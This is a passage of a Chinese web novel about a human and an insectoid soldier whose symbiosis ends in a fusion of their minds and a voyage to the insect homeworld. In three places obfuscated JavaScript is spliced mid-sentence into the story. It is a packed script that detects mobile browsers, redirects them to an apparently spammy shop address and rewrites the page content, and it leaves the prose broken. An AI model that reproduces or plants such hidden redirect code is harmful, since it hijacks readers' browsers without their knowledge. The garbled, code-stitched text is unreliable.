他会死。而瑟摩迦,会因“培育失败”被剥夺一切。 “告诉陛下,”瑟摩迦将晶体攥在掌心,尖锐的边缘刺破皮肤,金色的血渗出来,“我会处理。” 副官退下后,他将晶体扔给谢迟衍。 “捏碎它。”他说。 谢迟衍没动,“你确定?” “我确定。”瑟摩迦的尾巴缠住他的手腕,“与其让你被它控制,不如让你控制它。” 这是疯狂的建议。但谢迟衍笑了。 他捏碎了晶体。 半滴源血暴露在空气中,瞬间气化,金色的雾涌入谢迟衍的口鼻。 剧痛在下一秒袭来。 不是之前催化酶那种灼烧的痛,是生长的痛。他能感觉到,体内每一颗细胞都在疯狂分裂、重构、进化。 骨骼在拉长,内脏在移位,皮肤表面渗出银蓝色的黏液,像蜕皮的蛇。 瑟摩迦的精神力狂暴地涌入,试图帮他压制,但源血的层级太高,军雌的力量在它面前像螳臂当车。 “停下!”瑟摩迦吼道,声音里带着他自己都没察觉的绝望。 谢迟衍没停。 他主动引导源血,让它流向心脏,流向共生印记。 印记在金光中融化,重新塑形,从简单的纹路变成复杂的图腾——一半是虫族的翅纹,一半是人类的双螺旋。 他在主动污染源血。 用催化酶,用人类的意志,用共生契约带来的双生基因,将源血改造成……属于他的东西。 瑟摩迦看懂了。 他松开尾巴,不再阻止,反而将自己的精神力也注入源血,帮助谢迟衍完成这场疯狂的改造。 他们一起在虫巢深处,完成了一场对母星本源的篡位。 *** 金光持续了整整三个小时。 当一切平息,谢迟衍倒在地上,身体表面覆盖着一层银蓝色的薄膜,像茧。 瑟摩迦也半跪在地,翅膀上的白金色鳞片脱落大半,露出下面粉嫩的新生组织。 他们同时抬头,看向彼此。 谢迟衍的瞳孔变了,不再是纯粹的银蓝,而是金蓝交织,像日食时的光晕。 他的触角——不,那不是触角,是类似触角的神经束——从额角伸出,半透明,泛着微光。 他半虫化了。 “你做了什么?”他喘息着问。 “我把它吃了。”谢迟衍的声音也变了,带着双重共鸣,像两个人在同时说话,“源血不是命令,是食物。饥饿者才需要服从,吃饱的……” 他笑了,露出两颗新生的犬齿,“才是猎人。” 瑟摩迦被这个笑容钉在原地。 那是他见过的,最疯狂、最清醒、最……美的笑容。 *** 【人类方】 试炼后的第三天,人类使者再次到访。 这次不是少将,是一个女人,穿着研究员的白袍,眼神锐利得像手术刀。 她指名要见谢迟衍,只带了一个助手,没有武装。 瑟摩迦本想拒绝,但谢迟衍同意了。 “让她进来,”他说,“我想知道,他们为什么还没放弃我。” 女人走进洞穴,看到谢迟衍的样子时,瞳孔微缩。 她显然没料到,这个D级人类会半虫化到这种程度,更没料到,他会与瑟摩迦共享一张石桌,共用一副餐具。 “谢迟衍,”她开口,声音冷静,“我是联合政府基因工程部的首席,纪琳。” “我知道。”谢迟衍平静地切割肉排,1.5厘米见方,不多不少,“我读过你的论文,《论虫族基因的逆向表达》。写得不错,但数据造假了。” 纪琳的脸色微变。 “你谎报了催化酶的致死率,”谢迟衍继续说,“真实数据是98.7%,但你写成87%。为了让高层同意活体实验,对么?” 纪琳沉默片刻,摘下眼镜擦拭,“看来你确实没被虫族控制。” “控制我的从来不是虫族,”谢迟衍抬眼,金蓝瞳孔让她下意识后退,“是数据。” 纪琳重新戴上眼镜,眼神变得锐利,“那我们来谈谈数据。你的基因链现在处于什么状态?” “不稳定态。”谢迟衍指了指自己的太阳穴,“随时可以崩溃,也随时可以重组。看我想不想。” “你想吗?” “不想。”他垂下眼,看着餐盘里的肉排,“有人用三百年寿命换我三个月,我得让他……” 他顿了顿,声音轻得像自言自语,“……活得久一点。” 纪琳看向瑟摩迦。 军雌正靠在岩壁上,翅膀上的白金色鳞片还在缓慢脱落,尾巴有一搭没一搭地拍着地面,看起来疲惫至极。 “他本源血流失,”纪琳立刻判断,“撑不过一年。” “十个月。”谢迟衍纠正,“所以你得帮我。” “帮你什么?” “帮我造一艘船。” 纪琳怔住,“什么船?” “一艘能跨越十亿光年,回到虫族母星的船。”谢迟衍放下刀叉,直视她,“不是去掠夺,是去埋葬。” 他站起身,走到暗格前,取出那滴被污染的源血。 晶体管内的液体已经变成金蓝色,像液态的日食。 “母星没有死,”他说,“它只是睡着了。用源血自杀的虫族们,把自己的意识封存在了地核里。它们在等……” 他停顿,看向瑟摩迦,“等一个清醒的后裔,去叫醒它们,或者,和它们一起长眠。” 瑟摩迦的尾巴停止了拍打。 这是他第一次听到,关于母星死亡的真相。 不是枯竭,是献祭。 虫族意识到自己走上了死路,于是集体选择沉睡,将最后的源血送给逃亡的舰队,让它们找到药引,然后……带着药引回去,一起死。 只不过舰队在漫长航行中丢失了记忆,只记得“寻找养料”,忘了“带回毒药”。 而谢迟衍,就是那瓶毒药。 催化酶不是自杀工具,是唤醒剂。 唤醒他体内属于人类的“混乱基因”,去污染、去激活、去让那些沉睡在母星地核里的意识……重新思考死亡的意义。 纪琳听懂了。 她看向瑟摩迦,又看向谢迟衍,忽然笑了: “你们两个,真是绝配。” 一个要用死亡唤醒族群,一个要用存活保护爱人。 一个清醒到残忍,一个疯狂到温柔。 “船可以造,”她说,“但需要时间。至少两年。” “我们没有两年。”谢迟衍坐回位置,重新拿起刀叉,切割肉排,“所以你得造一艘快的,用虫族的活体组织做船体,用源血做燃料,用我们的精神力……做导航。” 纪琳的脸色顿时变了,“那会消耗你们的精神核心,你们会……” “会死。”谢迟衍接话,像在谈论天气,“但死得其所。” 他叉起一块肉,送进嘴里,细细咀嚼。 1.5厘米,标准的尺寸,标准的痛苦,标准的清醒。 瑟摩迦走过来,按住他的肩膀,尾巴圈住他的腰。 “我同意。”军雌说,声音沙哑但坚定,“但有一个条件。” “说。”纪琳看向他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231230|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “船的名字,”瑟摩迦的金瞳盯着谢迟衍的侧脸,“由我来取。” *** 【风过】 时间进入第二个月,倒计时四十八天。 虫王开始频繁召见瑟摩迦,询问共生体的培育进度。 谢迟衍能透过精神链接,感受到对方的疲惫与烦躁,像有无数根针在扎他的太阳穴。 “它在怀疑,”谢迟衍说,“怀疑你没有全力培育我。” “我确实没有。”瑟摩迦冷笑,“我在全力……养废你。” 他最近开始教谢迟衍一些“无用”的东西:怎么用触角感知风的温度,怎么用尾巴尖在沙地上画出母星的星空,怎么在精神链接里制造幻象,让对方梦见自己最想见的人。 谢迟衍学会了,第一次实践,就让瑟摩迦梦见了那片枫叶林。 不是虫族母星的废墟,是地球的红叶林。 梦里没有死亡预告,只有纯粹的、燃烧的、毫无意义的美。 瑟摩迦醒后发了很大的火,把血池砸得粉碎,说那是“无聊的幻觉”。 但谢迟衍透过精神链接,尝到了他梦境里的味道。 是甜的。 比任何养料的血液都甜。 第三十天,虫王送来了第二滴源血。 这次不是试探,是命令。 “注入,或者交出共生体。” 瑟摩迦将晶体管捏在掌心,金色的血顺着指缝流下。 他看着谢迟衍,金瞳里第一次出现了……哀求。 “别喝。”他说。 “我必须喝。”谢迟衍走过来,握住他的手,将晶体管压在自己心口,“但这一次,我们一起喝。” “什么?” “共生不是单方面的污染,”他解释,“是双向的改造。你喝我的血,我喝你的血,源血只是一个媒介。如果我们同时注入,它会分不清谁是主体,谁是容器……” 他笑了,露出犬齿: “然后,它会变成我们。” 瑟摩迦明白了。 这是谢迟衍的终极算计——不是成为母核,也不是唤醒母星,是替代母星。 用人类的混乱,用虫族的秩序,用两个清醒者的绝望,造一个新的“源血”。 一个不需要掠夺、不需要养殖、不需要十七年的倒计时的……第三选项。 “疯子。”他骂,但声音是软的。 “你也是。”谢迟衍回应。 他们同时捏碎晶体管。 金色的雾吞没了洞穴。 *** 当光芒散去,他们发现自己悬浮在虚空中。 不是物理空间,是意识空间。 周围是无数沉睡的虫族意识,它们蜷缩在金色的茧里,等待着死亡,也等待着……救赎。 谢迟衍和瑟摩迦手牵手,像两个迷路的孩子。 他们的身体在洞穴里沉睡,精神却来到了母星的地核深处。 “现在怎么办?”瑟摩迦问,声音在虚空中激起涟漪。 “叫醒它们。”谢迟衍说。 “怎么叫?” “讲故事。” 他抬起手,银蓝色的血流出,在虚空中画出一幅画面—— 七岁的男孩,埋葬一只蝴蝶,说“晚安,明天见”。 画面流入离他最近的一个虫族意识,茧颤动了一下。 瑟摩迦明白了。 他也抬起手,金色的血流出,画出另一幅画—— 十六岁的军雌,在尸堆里爬出来,反杀敌人,然后对着死去的同伴说:“对不起,我活下来了。” 两幅画交融,金色与银蓝混合,变成一种全新的颜色。 那是……共生的颜色。 虚空中,第一只虫族睁开了眼。 然后是第二只、第三只…… 它们看着这两个异类,没有愤怒,没有攻击,只有一种深深的……疲惫。 “我们累了。”它们用精神力说,“让我们睡吧。” “可以睡,”谢迟衍回应,“但别死在梦里。” 他指向瑟摩迦,“他承载了你们的源血,从十亿光年外回来,不是为了看你们睡着死去,是为了……和你们一起醒来。” “醒来做什么?”虫族们问,“我们的星球已经死了。” “那就造一个新的。”瑟摩迦开口,声音在虚空中炸响,“用我们的骨头,用我们的血,用我们……剩下的十七年。” 他看向谢迟衍,金瞳里映出对方的脸: “十七年和三个月,够造一艘船了。” 12. chapter12 时间被拉长,又被压缩。 共生进入第三十日,谢迟衍开始分不清哪些知觉是自己的,哪些属于瑟摩迦。 他会在喝下营养液的瞬间,尝到铁锈与硝烟的苦味——那是瑟摩迦对食物的厌恶,会在深夜闭眼时,看见战场上的断翅与碎甲——那是瑟摩迦的梦魇。 而瑟摩迦则会突然停下动作,发呆数秒,因为脑海中闪过一个七岁男孩埋葬蝴蝶的画面。 那是谢迟衍的记忆,是他以为早已封存的柔软。 他们的精神链接不再是两条平行的河,而是融成了一片湖。 湖底沉着两个人的所有过往,清澈又浑浊。 【监察】 虫王的耐心在第三十二天耗尽。 监察使抵达直属区时,谢迟衍正在血池边看书。 一本纸质的、从废墟里扒出来的旧书,页角泛黄,字迹模糊。 书名是《百年孤独》。 监察使是A级军雌,触角粗壮如蟒,翅膀上布满复眼状纹路。 他没有通报,直接撕开洞穴的生物膜,闯入。 “瑟摩迦大人,”他的声音像两块冰摩擦,“陛下命我检验共生体的培育进度。” 瑟摩迦从石床上坐起,尾巴懒洋洋地垂着,瞳孔骤然释放出杀气,“滚出去。” “这是旨意。”监察使不为所动,精神力如探针刺向谢迟衍。 谢迟衍没动,任由那股力量侵入意识海。 他早已不是当初的D级人类,催化酶与源血在他的精神世界里造出了一座迷宫。 监察使的探针在迷宫里转了片刻,便迷失了方向。 “奇怪……”监察使皱眉,“他的意识海……是空的。” 不是空,是太深。深到看起来像空。 瑟摩迦笑了,笑意不达眼底,“现在,可以滚了吗?” 监察使没走,反而上前一步,触角几乎抵到谢迟衍的额心,“陛下还有第二道旨意——若培育进度未达预期,允许我……亲自加速。” 话音未落,他的尾巴已如毒刺般袭向谢晚衍的后颈。 那是致命点,一旦被刺入神经毒素,谢迟衍的意识会瞬间瘫痪,变成任人摆布的空壳。 但尾巴在半空停住了。 被一只瘦削的手攥住。 谢迟衍抬起头,金蓝异瞳在荧光下泛着非人的光。他的手看似无力,却让A级军雌的尾巴动弹不得。 “你……”监察使震惊。 “我什么?”谢迟衍轻声问,然后—— 他捏碎了那条尾巴。 不是物理捏碎,是精神污染。 他的意识海像剧毒沼泽,瞬间反噬。 监察使发出一声凄厉的嘶鸣,整条尾巴从尖端开始腐化,银蓝色的纹路如藤蔓般向上蔓延,眨眼间便爬满他的翅膀。 他瘫倒在地,复眼状纹路被染成诡异的蓝金色。 谢迟衍松开手,像扔掉一块垃圾。 “告诉虫王,”他平静地说,声音在洞穴里回荡,带着双重共鸣,“培育进度,已达预期。再派人来,我会一个一个……吃掉。” 监察使被拖出去时,已神志不清,只会反复念叨,“怪物……怪物……” 瑟摩迦看着谢迟衍,金瞳里翻涌着复杂的情绪。 “你隐藏了实力。”他说。 “是你教我的。”谢迟衍重新坐回池边,翻开书页,“用暴戾掩盖恐惧,用残忍掩盖孤独。我学会了,现在用在他们身上。” 他抬起头,对瑟摩迦露出一个极淡的笑: “效果如何?” 瑟摩迦没说话,只是走过来,用尾巴圈住他的腰,将他拉进怀里。额头相抵,精神链接里传来他的情绪—— 不是愤怒,不是震惊,是……骄傲。 “效果,”他在意识海里低语,“好到让我想把你藏进翼膜里,谁都不让看。” 谢迟衍没回应,只是将脸埋进他颈窝,呼吸着铁锈与冰川混杂的气息。 那是他现在的家了。 *** 【造船期】 纪琳的研究进度比预期快。 她通过副官传递消息:船体框架已完成,用虫族活体组织与钛合金混合编织,强度足够穿越虫洞。但缺少核心动力——源血燃料。 “虫王不会给。”谢迟衍分析,“它知道我们拿源血做什么,就不会给。” “那就偷。”瑟摩迦说得理所当然。 源血储藏室在虫巢最底层,由三位SS级军雌轮流看守。那里的防御系统能瞬间蒸发任何入侵者,连分子都不会留下。 但谢迟衍有钥匙。 他的血,就是钥匙。 “监察使的尾巴,”他抬起手,指尖有银蓝色的黏液滴落,“我留了一点样本。它里面有A级军雌的基因密码,可以模拟权限。” 瑟摩迦盯着那滴血,眼睛微眯,“你什么时候学会的?” “你睡觉之后。”谢迟衍说得轻描淡写,“你的记忆里有母星的防御系统构造,我学了,然后改写了规则。” 军雌感到一阵寒意。 他忽然意识到,这个人类不是他的共生体,是他的……继承者。 他继承了瑟摩迦的所有战斗经验,所有军事机密,所有关于母星的记忆,然后用人类的逻辑,将它们重新编译成武器。 “怪物。”他骂,尽管这个词已经没了恶意,更像是昵称。 “彼此。”谢迟衍回应。 入夜,他们行动。 谢迟衍穿上瑟摩迦的备用作战服,尺寸偏大,但生物纤维自动收缩贴合。 他第一次感觉到,虫族的衣服是活的,会呼吸,会思考,会……恐惧。 它感知到他体内的污染,在颤抖。 “别抖,”他低声说,“我和你,现在是同类。” 纤维平静下来,像被安抚的宠物。 瑟摩迦看着他,眼神复杂,“你越来越像个军雌了。” “而你,”谢迟衍抬眼,金蓝异瞳在黑暗中发光,“越来越像人了。” 两人对视,同时笑了。 那是一种扭曲的、苦涩的、但无比真实的……默契。 *** 【背叛】 储藏室的门在谢迟衍的血前自动开启。 里面没有守卫,只有无尽的黑暗,和悬在黑暗中央的一颗金色心脏。 那是源血池,虫巢的心脏,每一次搏动都让整个虫巢震颤。 谢迟衍走上前,伸出手,准备抽取。 但通讯器响了。 纪琳的声音传来,带着罕见的急促:“别碰,那是陷阱!” 太迟了。 谢迟衍的手指已经触碰到源血池表面。金色的液体立刻反卷,将他整只手吞没。 剧痛袭来,不是□□的,是精神的——无数虫族意识顺着源血涌入他的大脑,在意识海里咆哮: “叛徒!骗子!窃贼!” 这是虫王设下的局。它早就知道他们会来,早就知道谢迟衍的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231231|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能开启权限,早就……等着他自投罗网。 瑟摩迦冲过来,尾巴卷住谢迟衍的腰,想将他拽离。但源血像有吸力,牢牢锁住他的手,更多的金色液体爬上他的手臂,向心脏蔓延。 “放手!”瑟摩迦吼道。 “不行,”谢迟衍咬牙,额角青筋暴起,“源血在读取我……所有记忆……” 如果被读取完成,虫王会知道造船计划,知道母星真相,知道……他们的背叛。 瑟摩迦金瞳里闪过一丝决绝。 他做出了一个更疯狂的举动。 他低头,咬住了谢迟衍的颈侧。 不是标记,是反向注入。他将自己的本源血,通过犬齿,全部灌入谢迟衍的血管。 这是军雌的终极能力——“双生之噬”。 将生命共享给伴侣,从此一荣俱荣,一损俱损。但代价是,注入方会迅速退化,直至死亡。 金色的源血遇到瑟摩迦的本源血,像是遇到了天敌,开始退缩。 谢迟衍的手挣脱出来,整个人向后倒去,被瑟摩迦接住。 他们在地上滚成一团,金色的血与银蓝的血混合,在地面绘出复杂的图腾。 通讯器里,纪琳的声音带着哭腔: “你们疯了……本源血全部流失,瑟摩迦撑不过七十二小时!” 瑟摩迦咳出一口金色的血,笑了: “72小时,够了。” 他看向谢迟衍,金瞳里的光在迅速黯淡: “船造好了吗?” “……快了。”谢迟衍的声音在抖,他第一次感到精神链接的彼端,在变得空虚。 “那带我上船。”瑟摩迦抬起手,触碰他的脸,“然后,把我葬在母星。” “你不会死。”谢迟衍抓住他的手,指甲嵌入掌心,“我不允许。” “你什么时候……允许过?”瑟摩迦笑得苦涩,“一直都是我强制你,现在轮到你……强制我了。” 他的眼睛闭上,手垂落。 谢迟衍感到意识海里,属于瑟摩迦的那一半,在迅速冰封。 他发出一声嘶吼。 不是人类的嘶吼,不是虫族的嘶吼,是两个灵魂被撕裂时,发出的共呜。 *** 【双生】 第七十一天。 谢迟衍抱着瑟摩迦冰冷的身体,坐在造船厂中央。 船已完工,活体组织覆盖的舰体像一颗巨大的心脏,在呼吸,在等待。 纪琳站在一旁,眼眶通红: “他……已经脑死亡了。本源血流失,精神核心破碎,救不回来了。” “能。”谢迟衍说。 他抬起手,将掌心按在瑟摩迦的眉心共生印记上。印记已经黯淡,像熄灭的星。 “我们结了共生契约,”他声音平静得像在陈述定理,“他死了,我也会死。但反过来,我活着,他就不能死。” 纪琳没听懂,开口:“什么意思?” “意思是,”谢迟衍低头,用额头抵住瑟摩迦的额头,金蓝异瞳里燃烧着最后的火,“我要把他,融进我的意识海里。” “融进去?!”纪琳错愕,“你会精神分裂,谢迟衍你疯了?你会变成两个人!” “那就变成两个人。”谢迟衍笑了,笑意凄凉但决绝,“一个谢迟衍,一个瑟摩迦,共用一具身体,共用一个灵魂。” 他闭上眼睛,意识海如黑洞般张开。 “双生,”他轻声说,“才是共生的终极形态。” 13. chapter13 融合的过程,是一场从身体到灵魂的凌迟。 谢迟衍的意识海像被无形的巨刃劈开,每一道裂口都塞满了瑟摩迦的记忆。 那些记忆带着铁锈与硝烟的味道,像滚烫的岩浆灌入冰湖,湖水在瞬间沸腾,又在瞬间凝固,最终变成一种介于水火之间的、粘稠的液体。 他看到了瑟摩迦的一生,不是旁观,是经历。 他感受到十六岁第一次上战场时,骨刃刺穿同伴胸膛的阻力,血液喷溅在翅膜上的温热。 感受到在尸堆里喝同伴血求生时,喉咙里翻涌的绝望与愧疚。感受到每一次升为A级、S级、SS级时,虫王精神触须扫过额头的冰冷赞许。 也感受到了第一次看到谢迟衍时的……刺痛。 不是占有欲的刺痛,是“被看见”的刺痛。就像一只习惯黑暗的老鼠,突然被光照到,恐惧却上瘾。 “对不起。”瑟摩迦的意识在他脑中说,声音像回声。 “对不起什么?”谢迟衍在混沌中反问。 “把你拖进我的地狱。” 谢迟衍在意识海里笑了,那笑声带着双重共鸣,像两个人在同时嘲笑命运: “我的地狱,比你深。” 他放开自己的记忆,让瑟摩迦沉入。 孤儿院的墙,蝴蝶的翅膀,父母的血,部下的惨叫,能源站未引爆的炸弹。 所有他以为已经封存的痛苦,像被打开的潘多拉魔盒,毫无保留地涌入瑟摩迦的意识。 军雌在他的记忆里颤抖,不是因为痛,是因为懂了。 懂了为什么这个人类总是面无表情——因为表情在七岁那年,随着父母一起被子弹打碎了。 懂了为什么他总用理性计算一切——因为感性在能源站那晚,随着部下的惨叫一起烧光了。 懂了为什么他要把自己变成毒药——因为温柔在交割场上,随着尊严一起被抽干了。 “傻子。”瑟摩迦骂,声音却是哽咽了。 “你也是。”谢迟衍回应。 两个意识在记忆的地狱里相遇,没有拥抱,没有安慰,只是像两柄断刃,在废墟里碰了一下,发出清脆的声响。 那是“我懂你”的声响。 *** 纪琳从监测仪前惊醒时,已是七十二小时后。 谢迟衍睁开了眼。 但只有一只眼。 左眼是金蓝色,右眼是银灰色——那是瑟摩迦的颜色。 他坐起身,动作僵硬得像提线木偶,左右手同时抬起,却做出不同的手势。 左手竖起中指,朝虚空比划了一下。 右手打了个响指,像在附和。 纪琳简直是冷汗直流,“你们……谁是谁?” “都是。”两张嘴同时开口,声音叠在一起,像合唱团。 “也都不是。”左半边脸笑了,露出谢迟衍特有的,冷淡的弧度。 “闭嘴。”右半边脸皱眉,嘴角下拉,是瑟摩迦的暴戾。 然后两边脸同时沉默,在意识海里吵架: 『你刚才笑得太难看了。』瑟摩迦抱怨。 『你皱眉的样子更丑。』谢迟衍反击。 『那现在怎么办?共用一具身体,我想撒尿的时候你也能感觉到?』 『……你能不能有点出息?』 纪琳听着他们精神链接里传来的对话,表情从惊恐变成麻木,最后变成……想笑。 “你们两个,”她深吸一口气,“真是史上最荒唐的共生体。” “不。”左半边脸说,表情恢复冷淡,“我们是史上第一个……双生人。” 双生人——两个灵魂,一副躯壳,共享所有感知,却保留独立人格。 这不是融合,是缝合。用源血做线,用本源血做针,将两个本该对立的存在,硬生生缝在一起。 *** 虫王察觉异常,是在第三十一天。 整个虫巢的脉搏开始紊乱。 源血池的搏动频率与谢迟衍的心跳同步,每一次跳动,都有一缕金蓝色的光顺着神经网蔓延。 “他做了什么?”虫王的精神触须扫过直属区,却被一层无形的屏障弹开。 那是瑟摩迦的意识在守护。 即使肉身已死,他的精神力依然忠诚地守在谢迟衍身边,像一头护食的狼。 “陛下。”副官声音颤抖着汇报,“瑟摩迦大人……消失了。” “什么叫消失?” “他的生命体征归零,但精神波动还在。而且……与谢迟衍的精神波动完全重合。” 虫王沉默了。 它想起了母星最后的研究——关于“双生之噬”的传说。 军雌为伴侣献出本源血,若伴侣在濒死时反噬,便能将两者的意识融合,创造超越S级的存在。 但传说从未被验证,因为从未有军雌愿意为一个养料……做到这一步。 “原来如此。”虫王的金雾凝聚成一只巨大的眼睛,死死盯着直属区,“他不是养料,是……容器。” “陛下,要不要强行摧毁?” “不。”虫王笑了,声音像指甲刮过玻璃,“让他发育。一个能承载军雌意识的容器,比母核更珍贵。等他彻底稳定,我们再……” 它顿了顿,吐出两个字: “采摘。” *** 造船的最后阶段,是在意识海里完成的。 谢迟衍(或者说,他们)躺在船舱中央,闭上眼,精神力将整个舰队包裹。 瑟摩迦负责设计航线,他对母星的坐标了如指掌,谢迟衍负责构建防御系统,用他人类的军事知识,在船体上织出一张看不见的网。 纪琳在旁边监测,看着数据以不可思议的速度刷新。 “你们两个……”她喃喃自语,“简直是作弊。” 『她说我们作弊。』瑟摩迦在意识海里说,声音带着得意。 『那就让她看看,什么叫真正的开挂。』谢迟衍回应。 他们同时睁开眼,左眼金蓝,右眼银灰,瞳孔里倒映出完整的舰船蓝图。 “启动。”两张嘴同时下令。 船体开始呼吸。 是的,呼吸。 活体组织构成的舰壳像肺一样舒张,将周围的暗物质吸入,转化为推进力。源血燃料在心脏般的引擎里燃烧,发出金蓝色的光。 船活了。 不是比喻,它真的活了——拥有虫族的再生能力,人类的战术思维,以及……双生人的双重灵魂。 纪琳后退一步,脸色发白:“这已经不是船了,是……” “是‘归墟’。”左半边脸说。 “是我们的棺材。”右半边脸补充。 然后两边同时笑了,笑得像两个疯子。 *** 距离催化酶峰值,还剩十九天。 谢迟衍的身体开始出现不可逆转的崩溃。 银蓝色的皮肤下,基因链像断裂的琴弦,发出无声的哀鸣。 他的左眼(瑟摩迦的眼)开始流血,金色的血混着银蓝,在脸颊上画出泪痕。 『你撑不住了。』瑟摩迦在意识里说,声音第一次带上了恐惧。 『你怕了?『』谢迟衍反问。 『怕。』瑟摩迦承认了,『怕你死了,我还要在这具身体里,独自活完剩下的十个月。』 『那就一起死。』谢迟衍说得轻描淡写,像在讨论晚餐。 『不行。』瑟摩迦拒绝得干脆,『你得把我带回母星,葬在枫叶林里。』 『哪来的枫叶林?母星只有废墟。』 『你记忆里的那片,』瑟摩迦的声音低了下去,带着罕见的温柔,『把我葬在那里。我想看看,没有死亡预告的红叶,是什么样子。』 谢迟衍沉默了。 他感到意识海深处,瑟摩迦的意识在抽离。不是消失,是主动后退,将自己的存在感降到最低,以减少对谢迟衍精神力的消耗。 『你干什么?』他急了。 『省点力气,』瑟摩迦笑,『开船要专心。』 『瑟摩迦!』 『在呢。』军雌的声音越来越轻,轻得像叹息,『一直都在。』 然后,谢迟衍的左眼,闭上了。 右半边身体失去了控制,垂落,像被抽走了线的木偶。 但他能感觉到,瑟摩迦还在,缩在意识海最深处,像冬眠的熊。 他在用自己的方式,守护他。 *** 倒计时第十五天,飞船“归墟”完成。 它没有舷窗,没有炮塔,没有人类战舰的冷硬线条。它像一颗巨大的种子,表面覆盖着脉络,在呼吸,在等待。 谢迟衍独自站在舱门前,左半边脸平静,右半边脸沉寂。 纪琳递给他一个金属箱,里面是最后一滴纯净源血,用作导航信标。 “你确定要这么做?”她问,“现在回头,还有活路。虫王已经答应,只要你交出瑟摩迦的意识,就让你做共生体的主宰,活完剩下的十七年。” “十七年,”谢迟衍用左半边脸笑了,笑容冷淡,“没有他,是十七年。有他,才是三个月。” 他接过箱子,转身登船。 舱门关闭的瞬间,整个虫巢的脉搏停止了。 所有军雌同时抬头,看向直属区的方向。它们感应到,那个被标记为“终极养料”的存在,正在脱离虫巢的精神网络。 像拔掉一颗深深扎在心脏里的钉子。 虫王的金雾在核心疯狂涌动,声音从每一根神经传出,响彻虫巢: “追击!摧毁!把容器带回来!” 但晚了。 “归墟”启动了。 它没有像传统飞船那样点火、推进、加速。而是像活物一样,蜷缩,然后弹跳。 空间在它周围折叠,时间被压缩成一条线。它钻入虫洞,像一滴水落入湖面,消失不见。 只留下一道金蓝色的光痕,在宇宙中缓缓消散。 那是双生人存在的唯一证明。 *** 【航行】 虫洞内没有时间概念。 谢迟衍(或者说,他们)漂浮在船舱中央,任由意识游离。左半边身体在沉睡,右半边身体在导航。 『还有多久?』瑟摩迦的声音在意识海里响起,微弱得像耳语。 『不知道。』谢迟衍回应,『也许一瞬间,也许一万年。』 『那还挺浪漫。』 『浪漫?』 『对,』瑟摩迦笑,『像殉情。』 谢迟衍没笑。他能感觉到,瑟摩迦的意识在消散。本源血的流失不可逆,即使共生,也只是延缓,不是治愈。 『你后悔吗?』他问。 『后悔什么?』 『把命给我。』

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231232|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 瑟摩迦沉默了很久,久到谢迟衍以为他睡着了。 然后,他听到了回答,不是通过精神链接,是通过记忆—— 他看到了瑟摩迦第一次见血池时的画面。那时他还是幼虫,被扔进池里,周围是同类互相吞噬的惨叫。 他拼命游,拼命躲,最后缩在角落,发现池底有一片不会动的苔藓。 苔藓是死的,但对他来说是生的。 因为他可以靠着它,假装自己不是独自一人。 『你就是那片苔藓。』瑟摩迦说,『我游了二十七年,终于找到一片不会动的、能让我靠着的……死东西。』 『你才死。』谢迟衍骂。 『快了。』瑟摩迦承认得干脆,『所以你得记住我的味道,铁锈混着冰川,还有……』 『还有什么?』 『还有你。』 谢迟衍怔住。 『我的味道里,现在有你。』瑟摩迦的声音越来越轻,轻得像要融化在虚空里,『所以别死,你死了,我就真的……什么都没了。』 话音落下,右半边身体彻底失去知觉。 谢迟衍漂浮在黑暗中,抱着自己的右半身,像抱着一具尸体。 但他知道,瑟摩迦还在,缩在意识海的角落,像一片枯萎的苔藓,等待着永远不会到来的春天。 【母星】 飞船弹出虫洞时,谢迟衍看到了母星。 不是废墟,是坟场。 整个星球被金色的茧包裹,像一颗巨大的、死去的卵。表面没有大气,没有海洋,只有密密麻麻的孔洞,每个洞里都沉睡着一只虫族。 它们用自己的身体,搭建了最后的墓碑。 『到了。』他在意识里说。 没有回应。 瑟摩迦的意识沉睡了,像冬眠的熊,叫不醒。 谢迟衍操控飞船降落,船体的活体组织自动伸出触须,扎进星球表面。源血燃料与母星的本源产生共鸣,整个星球开始震动。 不是攻击,是……回应。 像离家的人,听到了故乡的方言。 他走出舱门,踏上母星的土地。 地面是温热的,像还有生命。 他每走一步,脚下的土壤就亮起一道金蓝色的光,那是他的血,在唤醒沉睡的基因。 他走到星球核心,那里有一个巨大的空腔。 空腔中央,悬浮着最后一滴源血。 是真正的源血,不是复制品,不是求救信号,是母星的心脏。 谢迟衍抬起手,将自己的血滴入其中。 金蓝与金色交融,爆发出刺眼的光。 整个星球的虫族意识,同时睁开了眼。 它们看着这个半人半虫的存在,看着他用人类的意志、军雌的记忆、双生人的灵魂,站在母星的心脏前。 然后,它们听到了他的话: 『你们想死,可以。但别死在梦里。』 『醒来,看看你们造下的孽,看看你们逃走的十亿年,看看……你们的孩子。』 他指向飞船,指向船舱里那具沉睡的躯体。 